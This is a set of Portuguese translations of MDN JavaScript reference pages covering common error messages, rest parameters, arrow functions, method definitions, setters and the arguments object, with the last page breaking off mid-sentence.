{"title":"SyntaxError: illegal character - JavaScript","text":"SyntaxError: illegal character\n==============================\n\nMensagem\n--------\n```\n\nSyntaxError: Invalid character (Edge)\nSyntaxError: illegal character (Firefox)\nSyntaxError: Invalid or unexpected token (Chrome)\n```\n\nTipo do erro\n------------\n\n`SyntaxError` (en-US)O que deu errado?\n-----------------\n\nHá um token inválido ou inesperado que não pertence a esta posição no código. Utilize um editor que realce a sintaxe e cuidadosamente verifique seu código em relação a desajustes como um sinal de menos (`-`) no lugar de um travessão (`–`) ou aspas simples (`\"`) no lugar de aspas não padronizadas(`“`).\n\nExemplos\n--------\n\n### Caracteres desajustados\n\nAlguns carateres parecem similares, mas irão impedir que o analisador interprete seu código. Exemplos famosos disso são as aspas, o sinal de menos ou o ponto e vírgula (o ponto de interrogação grego (U+37e) é quase igual)\n\n\n```js\n“Isso parece uma string”;\n// SyntaxError: illegal character\n\n42 – 13;\n// SyntaxError: illegal character\n```\n\n\nIsto deve funcionar:\n\n\n```js\n\"Isso é realmente uma string\";\n\n42 - 13;\n```\n\n### Caracteres esquecidos\n\nÉ fácil esquecer um caractere aqui ou ali.\n\n\n```js\nvar colors = ['#000', #333', '#666'];\n// SyntaxError: illegal character\n```\n\n\nAdicione as aspas que faltam no `'#333'`.\n\n\n```js\nvar colors = [\"#000\", \"#333\", \"#666\"];\n```\n\n### Caracteres escondidos\n\nQuando copiamos e colamos código de fontes externas, pode haver caracteres inválidos. Cuidado!\n\n\n```js\nvar foo = 'bar';​\n// SyntaxError: illegal character\n```\n\n\nQuando inspeciona-se este código em um editor como o Vim, você pode ver que, na verdade, há um caractere zero-width space (ZWSP) (U+200B).\n\n\n```js\nvar foo = 'bar';<200b>\n```\n\nVeja também\n-----------\n\n* Lexical grammar"}
{"title":"ReferenceError: invalid assignment left-hand side - JavaScript","text":"ReferenceError: invalid assignment left-hand side\n=================================================\n\nMensagem\n--------\n```\n\nReferenceError: invalid assignment left-hand side\n```\n\nTipo do erro\n------------\n\n`ReferenceError`.\n\nO que deu errado?\n-----------------\n\nOuve uma declaração inesperada em algum lugar. Isso pode ocorrer devido a uma confusão entre um Operador de atribuição (en-US) e um Operador de comparação (en-US), por exemplo. Enquanto um `\"=\"` define uma variavel, `\"==\"` ou `\"===\"` são usados para fazer uma comparação entre valores.\n\nExemplos\n--------\n\n\n```js\nif (Math.PI = 3 || Math.PI = 4) {\n  console.log('de modo algum!');\n}\n// ReferenceError: invalid assignment left-hand side\n\nvar str = 'Olá, '\n+= 'sou eu '\n+= 'que você está procurando?';\n// ReferenceError: invalid assignment left-hand side\n```\n\n\nNa declaração `if` você deve usar um operador de comparação (\"==\"), e para a atribuição da string, apenas o operador mais (\"+\") é necessario\n\n\n```js\nif (Math.PI == 3 || Math.PI == 4) {\n  console.log(\"de modo algum!\");\n}\n\nvar str = \"Olá, \" + \"do \" + \"outro lado!\";\n```\n\nVeja também\n-----------\n\n* Operadores de atribuição (en-US)\n* Operadores de comparação (en-US)"}
{"title":"TypeError: \"x\" is not a function - JavaScript","text":"TypeError: \"x\" is not a function\n================================\n\nMensagem\n--------\n```\n\nTypeError: Object doesn't support property or method {x} (Edge)\nTypeError: \"x\" is not a function\n```\n\nTipo do erro\n------------\n\n`TypeError`.\n\nO que deu errado?\n-----------------\n\nHouve a tentativa de obter um valor de uma função, mas o valor não é exatamente uma função. Algum código espera que você forneça uma função, mas não foi o que acontenceu.\n\nTalvez exista um erro de digitação no nome da função? Talvez o objeto no qual você está chamando o método não tenha essa função? Por exemplo, objetos no JavaScript não tem a função `map`, mas o objeto Array tem.\n\nExistem várias funções internas que precisam de uma função (callback). Você terá que prover uma função para obter esses métodos funcionando corretamente:\n\n* Quando estiver trabalhando com os objetos `Array` ou `TypedArray` (en-US):\n    + `Array.prototype.every()`, `Array.prototype.some()`, `Array.prototype.forEach()`, `Array.prototype.map()`, `Array.prototype.filter()`, `Array.prototype.reduce()`, `Array.prototype.reduceRight()`, `Array.prototype.find()`\n* Quando estiver trabalhando com os objetos `Map` ou `Set`:\n    + `Map.prototype.forEach()` e `Set.prototype.forEach()` (en-US)\nExemplos\n--------\n\n### Um erro de digitação no nome da função\n\nNesse caso, que ocorre com bastante frequência, existe um erro de digitação no nome do método:\n\n\n```js\nvar x = document.getElementByID(\"foo\");\n// TypeError: document.getElementByID is not a function\n```\n\n\nO nome correto da função é `getElementById`:\n\n\n```js\nvar x = document.getElementById(\"foo\");\n```\n\n### Função chamada no objeto errado\n\nPara alguns métodos, é necessário fornecer a função (callback) que irá funcionar apenas em objetos específicos. Nesse exemplo, é utilizado `Array.prototype.map()` que irá funcionar apenas em objetos `Array`.\n\n\n```js\nvar obj = { a: 13, b: 37, c: 42 };\n\nobj.map(function (num) {\n  return num \\* 2;\n});\n\n// TypeError: obj.map is not a function\n```\n\n\nAo invés disso, use uma array:\n\n\n```js\nvar numbers = [1, 4, 9];\n\nnumbers.map(function (num) {\n  return num \\* 2;\n});\n\n// Array [2, 8, 18]\n```\n\n### Função compartilha o nome com uma propriedade pré-existente\n\nAlgumas vezes, ao criar uma classe, pode haver uma propriedade e função com os mesmos nomes. Ao chamar a função, o compilador não consegue identificar a função.\n\n\n```js\nvar Dog = function () {\n  this.age = 11;\n  this.color = \"black\";\n  this.name = \"Ralph\";\n  return this;\n};\n\nDog.prototype.name = function (name) {\n  this.name = name;\n  return this;\n};\n\nvar myNewDog = new Dog();\nmyNewDog.name(\"Cassidy\"); //Uncaught TypeError: myNewDog.name is not a function\n```\n\n\nEntão, use um nome diferente para a propriedade\n\n\n```js\nvar Dog = function () {\n  this.age = 11;\n  this.color = \"black\";\n  this.dogName = \"Ralph\"; //Using this.dogName instead of .name\n  return this;\n};\n\nDog.prototype.name = function (name) {\n  this.dogName = name;\n  return this;\n};\n\nvar myNewDog = new Dog();\nmyNewDog.name(\"Cassidy\"); //Dog { age: 11, color: 'black', dogName: 'Cassidy' }\n```\n\nVeja também\n-----------\n\n* Funções"}
{"title":"TypeError: can't redefine non-configurable property \"x\" - JavaScript","text":"TypeError: can't redefine non-configurable property \"x\"\n=======================================================\n\n A exceção do Javascript \"can't redefine non-configurable property\" ocorre quando é\n feita a tentativa de redefinir uma propriedade, mas essa propriedade não é configurável.\n\nMensagem\n--------\n\n\n```js\nTypeError: Cannot modify non-writable property {x} (Edge)\nTypeError: can't redefine non-configurable property \"x\" (Firefox)\nTypeError: Cannot redefine property: \"x\" (Chrome)\n```\n\nTipo de Erro\n------------\n\n`TypeError`O que deu errado?\n-----------------\n\n Foi feita a tentativa de redefinir uma propriedade, mas essa propriedade não é configurável. O\n atributo `configurable` controla se a propriedade pode ser deletada do\n objeto e se seus atributos (Exceto `writable`) podem ser alterados.\n Geralmente, propriedades de um objeto criado por um inicializador de objeto\n são configuráveis. Contudo, por exemplo, ao usar `Object.defineProperty()`, a propriedade não é configurável por padrão.\n\nExemplos\n--------\n\n### Propriedades não configuráveis criadas por `Object.defineProperty`\n\n`Object.defineProperty()` cria uma propriedade não configurável se você\n não especificá-las como configurável.\n\n\n```js\nvar obj = Object.create({});\nObject.defineProperty(obj, \"foo\", { value: \"bar\" });\n\nObject.defineProperty(obj, \"foo\", { value: \"baz\" });\n// TypeError: can't redefine non-configurable property \"foo\"\n```\n\n\n Você vai precisar alterar a propriedade \"foo\" para configurável, se você pretende redefini-la\n posteriormente no código.\n\n\n```js\nvar obj = Object.create({});\nObject.defineProperty(obj, \"foo\", { value: \"bar\", configurable: true });\nObject.defineProperty(obj, \"foo\", { value: \"baz\", configurable: true });\n```\n\nVeja também\n-----------\n\n* [[Configurable]]\n* `Object.defineProperty()`"}
{"title":"Parâmetros Rest - JavaScript","text":"Parâmetros Rest\n===============\n\nA sintaxe de **rest parameter (parâmetros rest)** nos permite representar um número indefinido de argumentos como um array.\n\nSintaxe\n-------\n\n\n```js\nfunction(a, b, ...theArgs) {\n  // ...\n}\n```\n\nDescrição\n---------\n\nSe o último argumento nomeado de uma função tiver prefixo com `...`, ele irá se tornar um array em que os elemento de 0 (inclusive) até theArgs.length (exclusivo) são disponibilizados pelos argumentos atuais passados à função.\n\nNo exemplo acima, `theArgs` irá coletar o terceiro argumento da função (porquê o primeiro é mapeado para `a`, e o segundo para `b`) e assim por diante em todos os argumentos consecutivos.\n\n### Diferença entre *rest parameters* e *`arguments` object*\n\nHá três diferenças principais entre *rest parameters* e os `arguments` objects:\n\n* *rest parameters* são os únicos que não foram atribuidos a um nome separado, enquanto os `arguments` object contêm todos os argumentos passados para a função;\n* o objeto `arguments` não é um array, enquanto rest parameters são instâncias `Array`, isso significa que métodos como `sort`, `map`, `forEach` ou `pop` podem ser aplicados diretamente;\n* o objeto `arguments` possui a funcionalidade adicional de especificar ele mesmo (como a propriedade `callee`).\n### De arguments para array\n\nRest parameters foram criados para reduzir o código padrão que foi induzida pelos argumentos\n\n\n```js\n// Antes rest parameters, o seguinte codigo pode ser encontrado\nfunction f(a, b){\n  var args = Array.prototype.slice.call(arguments, f.length);\n\n  // ...\n}\n\n// esse é o equivalente\n\nfunction(a, b, ...args) {\n\n}\n```\n\nExemplos\n--------\n\nComo `theArgs` é um array, você pode pegar número de elementos usando a propriedade `length`:\n\n\n```js\nfunction fun1(...theArgs) {\n  console.log(theArgs.length);\n}\n\nfun1(); // 0\nfun1(5); // 1\nfun1(5, 6, 7); // 3\n```\n\n\nNo próximo exemplo, nós usamos o rest parâmetro para buscar argumentos do segundo parâmetro para o fim. Nós multiplicamos eles pelo primeiro parâmetro:\n\n\n```js\nfunction multiply(multiplier, ...theArgs) {\n  return theArgs.map(function (element) {\n    return multiplier \\* element;\n  });\n}\n\nvar arr = multiply(2, 1, 2, 3);\nconsole.log(arr); // [2, 4, 6]\n```\n\n\nO próximo exemplo mostra como você pode usar metodos do Array em rest params, mas não no objeto `arguments`:\n\n\n```js\nfunction sortRestArgs(...theArgs) {\n  var sortedArgs = theArgs.sort();\n  return sortedArgs;\n}\n\nconsole.log(sortRestArgs(5, 3, 7, 1)); // Exibe 1,3,5,7\n\nfunction sortArguments() {\n  var sortedArgs = arguments.sort();\n  return sortedArgs; // isso nunca irá ocorrer\n}\n\n// throws a TypeError: arguments.sort is not a function\nconsole.log(sortArguments(5, 3, 7, 1));\n```\n\n\na fim de usar o objeto `arguments`, você precisará converte-lo para um array antes.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-function-definitions |\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Arguments object\n* Array\n* Functions\n* Spread Operator (en-US)\n* Original proposal at ecmascript.org\n* JavaScript arguments object and beyond"}
{"title":"Arrow functions - JavaScript","text":"Arrow functions\n===============\n\nUma **expressão *arrow function*** possui uma sintaxe mais curta quando comparada a uma expressão de função (*function expression*) e não tem seu próprio *this*, *arguments*, *super* ou *new.target*. Estas expressões de funções são melhor aplicadas para funções que não sejam métodos, e elas não podem ser usadas como construtoras (*constructors*).\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n### Sintaxe básica\n```\n\n(param1, param2, …, paramN) => { statements }\n(param1, param2, …, paramN) => expression\n// equivalente a: => { return expression; }\n\n// Parênteses são opcionais quando só há um nome de parâmetro:\n(singleParam) => { statements }\nsingleParam => { statements }\n\n// A lista de parâmetros para uma função sem parâmetros deve ser escrita com um par de parênteses.\n() => { statements }\n```\n\n### Sintaxe avançada\n```\n\n// Envolva o corpo da função em parênteses para retornar uma expressão literal de objeto:\nparams => ({foo: bar})\n\n// Parâmetros rest (rest parameters) e parâmetros padrões (default parameters) são suportados\n(param1, param2, ...rest) => { statements }\n(param1 = defaultValue1, param2, …, paramN = defaultValueN) => { statements }\n\n// Desestruturação (destructuring) dentro da lista de parâmetros também é suportado\nvar f = ([a, b] = [1, 2], {x: c} = {x: a + b}) => a + b + c;\nf(); // 6\n```\n\nDescrição\n---------\n\nVeja também \"ES6 In Depth: Arrow functions\" on hacks.mozilla.org.\n\nDois fatores influenciaram a introdução das *arrow functions*: funções mais curtas e a inexistência da palavra chave `this`.\n\n### Funções mais curtas\n```\n\nvar elements = [\n  'Hydrogen',\n  'Helium',\n  'Lithium',\n  'Beryllium'\n];\n\nelements.map(function(element) {\n  return element.length;\n}); // esta sentença retorna o array: [8, 6, 7, 9]\n\n// A função regular acima pode ser escrita como a arrow function abaixo\nelements.map((element) => {\n  return element.length;\n}); // [8, 6, 7, 9]\n\n// Quando só existe um parâmetro, podemos remover os parênteses envolvendo os parâmetros:\nelements.map(element => {\n  return element.length;\n}); // [8, 6, 7, 9]\n\n// Quando a única sentença em uma arrow function é `return`, podemos remover `return` e remover\n// as chaves envolvendo a sentença\nelements.map(element => element.length); // [8, 6, 7, 9]\n\n// Neste caso, porque só precisamos da propriedade length, podemos usar o parâmetro de destruição (destructing parameter):\n// Note que a string `\"length\"` corresponde a propriedade que queremos obter enquanto que a\n// obviamente propriedade não especial `lengthFooBArX` é só o nome de uma variável que pode ser mudado\n// para qualquer nome válido de variável que você quiser\nelements.map(({ \"length\": lengthFooBArX }) => lengthFooBArX); // [8, 6, 7, 9]\n\n// Esta atribuição de parâmetro de destruição (destructing parameter) pode ser escrita como visto abaixo. Entretanto, note que\n// não há um específico `\"length\"` para selecionar qual propriedade nós queremos obter. Ao invés disso, o nome literal\n// da própria variável `length` é usado como a propriedade que queremos recuperar do objeto.\nelements.map(({ length }) => length); // [8, 6, 7, 9]\n```\n\n### Sem `this` separado\n\nAntes das *arrow functions*, toda nova função definia seu próprio valor de this (baseado em como a função era chamada, um novo objeto no caso de um construtor, *undefined* em chamadas de funções com modo estrito (*strict mode)*, o objeto base se a função é chamada como um \"método de objeto\", etc.). Este comportamento é importuno com um estilo de programação orientado a objeto.\n\n\n```js\nfunction Person() {\n  // O contrutor Person() define `this` como uma instância dele mesmo.\n  this.age = 0;\n\n  setInterval(function growUp() {\n    // Em modo não estrito, a função growUp() define `this`\n    // como o objeto global (porque é onde growUp() é executado.),\n    // que é diferente ao `this`\n    // definido pelo construtor Person().\n    this.age++;\n  }, 1000);\n}\n\nvar p = new Person();\n```\n\n\nNo ECMAScript 3/5, este comportamento era corrigido definindo o valor em `this` à uma variável que pudesse ser encapsulada.\n\n\n```js\nfunction Person() {\n  var that = this;\n  that.age = 0;\n\n  setInterval(function growUp() {\n    // A chamada a função refere à variáevel `that` da qual\n    // o valor é o objeto esperado.\n    that.age++;\n  }, 1000);\n}\n```\n\n\nAlternativamente, uma função de ligação (bound function) pode ser criada para que o valor pré-atribuido à `this` seja passado para a função alvo de ligação (a função `growUp()` no exemplo acima.\n\nUma *arrow function* não tem seu próprio `this;` o valor `this` do contexto léxico encapsulado é usado. Ex: *Arrow functions* seguem as regras normais de pesquisa de variáveis. Então, ao procurar por `this`, que não está no escopo atual elas acabam encontrando `this` no escopo encapsulado. Assim, no código a seguir, o `this` dentro da função que é passado para `setInterval` tem o mesmo valor do `this` na função lexicamente encapsulada:\n\n\n```js\nfunction Person() {\n  this.age = 0;\n\n  setInterval(() => {\n    this.age++; // |this| corretamente se refere ao objeto Person\n  }, 1000);\n}\n\nvar p = new Person();\n```\n\n\n#### Relação com *strict mode*\n\nConsiderando que `this` vem do contexto léxico envolvente, as regras do modo estrito (*strict mode*) em relação ao `this` são ignoradas.\n\n\n```js\nvar f = () => {\n  \"use strict\";\n  return this;\n};\nf() === window; // ou o objeto global\n```\n\n\nO restante das regras do modo estrito (*strict mode)* são aplicadas normalmente.\n\n#### Invocação por call ou apply\n\nJá que as *arrow functions* não têm o próprio `this`, os métodos `call()` ou `apply()` só podem passar parâmetros. `thisArg` é ignorado.\n```\n\nvar adder = {\n  base: 1,\n\n  add: function(a) {\n    var f = v => v + this.base;\n    return f(a);\n  },\n\n  addThruCall: function(a) {\n    var f = v => v + this.base;\n    var b = {\n      base: 2\n    };\n\n    return f.call(b, a);\n  }\n};\n\nconsole.log(adder.add(1));         // Deve logar 2\nconsole.log(adder.addThruCall(1)); // Deve logar 2 ainda\n```\n\n### Sem ligação (*binding*) de argumentos (`arguments`)\n\n*Arrow functions* não tem o próprio objeto argumentos (arguments object). Assim, neste exemplo, `arguments` é simplesmente uma referência aos argumentos do escopo encapsulado:\n```\n\nvar arguments = [1, 2, 3];\nvar arr = () => arguments[0];\n\narr(); // 1\n\nfunction foo(n) {\n  var f = () => arguments[0] + n; // ligação implícita dos argumentos de foo. arguments[0] é n\n  return f();\n}\n\nfoo(3); // 6\n```\n\n\nNa maioria dos casos, usar parâmetros rest (*rest parameters*) é uma boa alternativa a usar um objeto `arguments`.\n\n\n```js\nfunction foo(n) {\n  var f = (...args) => args[0] + n;\n  return f(10);\n}\n\nfoo(1); // 11\n```\n\n### *Arrow functions* usadas como métodos\n\nComo afirmado anteriormente, expressões *arrow function* são melhores para funções que não sejam métods. Vamos ver o que acontece quando tentamos usá-las como métodos.\n```\n\n'use strict';\n\nvar obj = {\n  i: 10,\n  b: () => console.log(this.i, this),\n  c: function() {\n    console.log(this.i, this);\n  }\n}\n\nobj.b(); // imprime undefined, Window {...} (ou o objeto global)\nobj.c(); // imprime 10, Object {...}\n```\n\n\n*Arrow functions* não tem o próprio `this`. Outro exemplo envolvendo `Object.defineProperty()`:\n```\n\n'use strict';\n\nvar obj = {\n  a: 10\n};\n\nObject.defineProperty(obj, 'b', {\n  get: () => {\n    console.log(this.a, typeof this.a, this); // undefined 'undefined' Window {...} (ou o objeto global)\n    return this.a + 10; // representa o objeto global 'Window', portanto 'this.a' retorna 'undefined'\n  }\n});\n```\n\n### Uso do operador `new`\n\nArrow functions não podem ser usadas como construtores e lançarão um erro quando usadas com o `new`.\n\n### Uso da propriedade `prototype`\n\n*Arrow functions* não têm a propriedade `prototype`.\n```\n\nvar Foo = () => {};\nconsole.log(Foo.prototype); // undefined\n```\n\n### Uso da palavra chave `yield`\n\nA palavra chave `yield` não pode ser usada no corpo de uma *arrow function* (exceto quando permitido dentro de funções aninhadas dentro delas). como consequência, *arrow functions* não podem ser usadas como geradoras (*generators*).\n\nCorpo de função\n---------------\n\n*Arrow functions* podem ter um corpo conciso (*\"concise body\")* ou o usual corpo em bloco (*\"block body\")*.\n\nEm um *concise body*, apenas uma expressão é especificada, a qual se torna o valor de retorno implícito. Em um *block body*, você precisa explicitamente usar a declaração de retorno, ou seja, o `return`.\n```\n\nvar func = x => x * x;\n// sintaxe de concise body. O \"return\" é implícito\n\nvar func = (x, y) => { return x + y; };\n// Em um função com block body, é necessário um \"return\" explícito\n```\n\nRetornando objetos literais\n---------------------------\n\nTenha em mente que retornar objetos literais usando a sintaxe de corpo conciso (*concise body*) `params => {object:literal}` não funcionará como esperado.\n```\n\nvar func = () => { foo: 1 };\n// Chamar func() retornará undefined!\n\nvar func = () => { foo: function() {} };\n// SyntaxError (Erro de sintaxe): a declaração da função requer um nome\n```\n\n\nIsto acontece porque o código dentro das chaves ({}) é convertido como uma sequência de sentenças (ex: `foo` é tratado como um título, não como uma chave num objeto literal).\n\nSe lembre de envolver o objeto literal em parênteses.\n```\n\nvar func = () => ({foo: 1});\n```\n\nQuebras de linha\n----------------\n\nUma *arrow function* não pode conter uma quebra de linha entre seus parâmetros e sua flecha.\n```\n\nvar func = (a, b, c)\n           => 1;\n// SyntaxError (Erro de sintaxe): esperada expressão, mas obteve '=>'\n```\n\n\nEntretanto, isto pode ser corrigido ao usar parênteses ou colocar a quebra de linha dentro dos argumentos como visto abaixo para garantir que o código permaneça bonito e leve.\n\n\n```js\nvar func = (a, b, c) => 1;\n// SyntaxError (erro de sintaxe) não é lançado\n```\n\nOrdem de análise\n----------------\n\nApesar de a flecha numa *arrow function* não ser um operador, *arrow functions* possuem regras especiais de análise que interagem diferentemente com precedência de operador (operator precedence) comparadas à funções comuns.\n```\n\nlet callback;\n\ncallback = callback || function() {}; // ok\n\ncallback = callback || () => {};\n// SyntaxError (Erro de sintaxe): argumentos inválidos de arrow-function\n\ncallback = callback || (() => {});    // ok\n```\n\nMais exemplos\n-------------\n```\n\n// Uma arrow function vazia retorna undefined\nlet empty = () => {};\n\n(() => 'foobar')();\n// Retorna \"foobar\"\n// (esta é uma Expressão de Função Invocada Imediatamente (Immediately Invoked Function Expression)\n// veja 'IIFE' no glossário)\n\nvar simple = a => a > 15 ? 15 : a;\nsimple(16); // 15\nsimple(10); // 10\n\nlet max = (a, b) => a > b ? a : b;\n\n// Mapeamento, filtragem, ... simples de array\n\nvar arr = [5, 6, 13, 0, 1, 18, 23];\n\nvar sum = arr.reduce((a, b) => a + b);\n// 66\n\nvar even = arr.filter(v => v % 2 == 0);\n// [6, 0, 18]\n\nvar double = arr.map(v => v * 2);\n// [10, 12, 26, 0, 2, 36, 46]\n\n// Cadeias de promessa (promisse chains) mais concisas\npromise.then(a => {\n  // ...\n}).then(b => {\n  // ...\n});\n\n// Arrow functions sem parâmetros que são visualmente mais fáceis de analisar\nsetTimeout( () => {\n  console.log('E aconteço antes');\n  setTimeout( () => {\n    // deeper code\n    console.log('Eu aconteço depois');\n  }, 1);\n}, 1);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-arrow-function-definitions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Definições de Método - JavaScript","text":"Definições de Método\n====================\n\nNo ECMAScript 2015 foi introduzida uma sintaxe reduzida para definição de métodos em inicializadores de objetos. É uma abreviação para uma função atribuída ao nome do método.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nvar obj = {\n  propriedade( parametros… ) {},\n  *generator( parametros… ) {},\n// também com chaves computadas:\n  [propriedade]( parameters… ) {},\n  *[generator]( parametros… ) {},\n// compare ES5 sintaxe para getter/setter:\n  get propriedade() {},\n  set propriedade(valor) {}\n};\n```\n\nDescrição\n---------\n\nA sintaxe reduzida é similar à da getter e setter introduzida no ECMAScript 5.\n\nDado o seguinte código:\n\n\n```js\nvar obj = {\n  foo: function () {},\n  bar: function () {},\n};\n```\n\n\nAgora você pode reduzi-lo para isto:\n\n\n```js\nvar obj = {\n  foo() {},\n  bar() {},\n};\n```\n\n### Generator methods\n\nOs generator methods também podem ser definidos utilizando a sintaxe reduzida.\n\n* Observe que o asterisco (\\*) na sintaxe reduzida deve estar antes do nome da propriedade generator. Assim, `* g(){}` funcionará, porém `g *(){}` não.\n* Se o método não for generator, sua definição não pode conter a palavra-chave `yield`. Dessa forma, generator functions legadas também não funcionarão, lançando um `SyntaxError` (en-US). Sempre utilize `yield` em conjunto com o asterisco (\\*)\n\n\n```js\n// Utilizando a propriedade com nome (pre-ES6)\nvar obj2 = {\n  g: function\\* () {\n    var indice = 0;\n    while (true) yield indice++;\n  },\n};\n\n// O mesmo objeto utilizando a sintaxe reduzida\nvar obj2 = {\n  \\*g() {\n    var indice = 0;\n    while (true) yield indice++;\n  },\n};\n\nvar coisa = obj2.g();\nconsole.log(coisa.next().value); // 0\nconsole.log(coisa.next().value); // 1\n```\n\n### Métodos assíncronos\n\nFunções assíncronas também podem ser definidas usando a sintaxe reduzida.\n\n\n```js\n// Utilizando a propriedade com nome (pre-ES6)\nvar obj3 = {\n  f: async function () {\n    await alguma_promise;\n  },\n};\n\n// O mesmo objeto com a sintaxe reduzida\nvar obj3 = {\n  async f() {\n    await alguma_promise;\n  },\n};\n```\n\n### Generator methods assíncronos\n\nOs generator methods também podem ser assíncronos\n\n\n```js\nvar obj4 = {\n  f: async function\\* () {\n    yield 1;\n    yield 2;\n    yield 3;\n  },\n};\n\n// O mesmo objeto com a sintaxe reduzida\nvar obj4 = {\n  async \\*f() {\n    yield 1;\n    yield 2;\n    yield 3;\n  },\n};\n```\n\n### Métodos reduzidos não são construíveis\n\nMétodos assim definidos não são construtores e lançarão um `TypeError` se você tentar instanciá-los.\n\n\n```js\nvar obj = {\n  metodo() {},\n};\nnew obj.metodo(); // TypeError: obj.method is not a constructor\n\nvar obj = {\n  \\*g() {},\n};\nnew obj.g(); // TypeError: obj.g is not a constructor (modificado no ES2016)\n```\n\nExemplos\n--------\n\n### Caso de teste simples\n\n\n```js\nvar obj = {\n  a: \"foo\",\n  b() {\n    return this.a;\n  },\n};\nconsole.log(obj.b()); // \"foo\"\n```\n\n### Nome de propriedades computados\n\nA sintaxe reduzida também suporta nome de propriedades computados.\n\n\n```js\nvar bar = {\n  foo0: function () {\n    return 0;\n  },\n  foo1() {\n    return 1;\n  },\n  [\"foo\" + 2]() {\n    return 2;\n  },\n};\n\nconsole.log(bar.foo0()); // 0\nconsole.log(bar.foo1()); // 1\nconsole.log(bar.foo2()); // 2\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-method-definitions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `get`\n* `set`\n* Gramática léxica"}
{"title":"setter - JavaScript","text":"setter\n======\n\nA sintaxe **`set`** liga a propriedade da função para ser chamada quando existe uma tentativa de definir valor para essa propriedade.\n\nSintaxe\n-------\n```\n\n{set prop(val) { . . . }}\n{set [expression](val) { . . . }}\n```\n\n### Parâmetros\n\n`prop`\n\nNome da propriedade ligada a função.\n\n`val`\n\n`Um apelido para variável que será atribuidada a prop.`\n\nexpression\n\nIniciando com ECMAScript 6, você pode usar também expressões para computar o nome da propriedade a ser definida na função.\n\nDescrição\n---------\n\nEm JavaScript, um *setter* pode ser usado para executar uma função sempre que se tenta mudar uma propriedade específica. *Setters* são geralmente usados em conjunto com *getters*, para criar um tipo de pseudo-propriedade. No entanto é impossível ter-se um setter para uma propriedade que contenha um valor real.\n\nObserve os seguintes itens ao trabalhar com a sintaxe *set*:\n\n* Ele pode ter um identificador que é um número ou uma string;\n* Deve ter exatamente um parâmetro (para mais informações, acesse: Mudança do ES5 incompatível: funções getter e setter literais tem exatamemente zero ou um parâmetros);\n* Não deve ter a mesma nomenclatura seja ela para propriedades ou função.\n (`{ set x(v) { }, set x(v) { } }` e `{ x: ..., set x(v) { } }` é proibido.)\n\nUm *setter* pode ser deletado usando o operator `delete` (en-US).\n\nExemplos\n--------\n\n### Definindo um setter em new Objects no inicializador\n\nVai definir um pseudo-property *current* para este objeto, quando atribuido um valor, vai mudar `log` com o valor passado:\n\n\n```js\nvar o = {\n  set current(str) {\n    this.log[this.log.length] = str;\n  },\n  log: [],\n};\n```\n\n\nObserve que *current* não está definido e qualquer tentativa de acesso irá resultar em *undefined*.\n\n### Removendo um setter com o operador `delete`\n\nSe você deseja remover o *setter*, poderá usar somente o `delete` (en-US):\n\n\n```js\ndelete o.current;\n```\n\n### Definindo um setter para um Object existente usando o `defineProperty`\n\nPara adicionar um *setter* para um Object existentem mais tarde, use `Object.defineProperty()`.\n\n\n```js\nvar o = { a: 0 };\n\nObject.defineProperty(o, \"b\", {\n  set: function (x) {\n    this.a = x / 2;\n  },\n});\n\no.b = 10; // Runs the setter, which assigns 10 / 2 (5) to the 'a' property\nconsole.log(o.a); // 5\n```\n\n### Usando um nome de propriedade computada\n\n**Nota:** **Atenção:** Propriedades computadas são uma tecnologia experimental, parte da proposta ECMAScript 6, e não é amplamente suportada por todos os browsers ainda. Ele vai retornar um syntax error en ambientes que não tem suporte.\n\n\n```js\nvar expr = \"foo\";\n\nvar obj = {\n  baz: \"bar\",\n  set [expr](v) {\n    this.baz = v;\n  },\n};\n\nconsole.log(obj.baz); // \"bar\"\nobj.foo = \"baz\"; // run the setter\nconsole.log(obj.baz); // \"baz\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-method-definitions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSpiderMonkey-specific notes\n---------------------------\n\n* Starting with JavaScript 1.8.1, setters are no longer called when setting properties in object and array initializers.\n* From SpiderMonkey 38 on, a setter with a rest parameter is a `SyntaxError` (en-US) as per the ES6 specification.\nSee also\n--------\n\n* getter\n* `delete` (en-US)\n* `Object.defineProperty()`\n* `Object.prototype.__defineGetter__()`\n* `Object.prototype.__defineSetter__()`\n* Defining Getters and Setters in JavaScript Guide"}
{"title":"Arguments object - JavaScript","text":"Arguments object\n================\n\nO objeto **`arguments`** é como um objeto Array correspondendo aos argumentos passados para uma função.\n\nSintaxe\n-------\n```\n\narguments\n```\n\nDescrição\n---------\n\nO objeto `arguments` é uma variável local disponível dentro de todas as funções. Você pode referenciar os argumentos de uma função dentro da função usando o objeto `arguments`. Esse objeto contém um registro para cada argumento fornecido para a função, com o índice do primeiro registro começando em 0. Por exemplo, se são passados três argumentos para uma função, você pode referenciá-los como a seguir:\n\n\n```js\narguments[0];\narguments[1];\narguments[2];\n```\n\n\nOs argumentos também podem ser definidos:\n\n\n```js\narguments[1] = \"novo valor\";\n```\n\n\nO objeto `argumentos` não é um `Array`. É similar a um Array, mas não possui as propriedades de `Array`, exceto `length` (en-US). Por exemplo, ele não possui o método `pop`. Entretanto, ele pode ser convertido em um `Array` real:\n\n\n```java\nvar args = Array.prototype.slice.call(arguments);\nvar args = [].slice.call(arguments);\n\n// ES2015\nvar args = Array.from(arguments);\n```\n\n\n**Aviso:** Usar slice nos argumentos impedem otimizações em alguns motores JavaScript (V8 por exemplo - mais informações). Se você precisar, tente construir um novo array iterando através dos argumentos do objeto. Uma alternativa seria usar o construtor do `Array` como uma função:\n\n\n```js\nvar args =\n  arguments.length === 1 ? [arguments[0]] : Array.apply(null, arguments);\n```\n\n\nVocê pode usar o objeto `arguments` se você chamar uma função com mais argumentos do que ele é formalmente declarado para aceitar. Esta técnica é útil para funções que 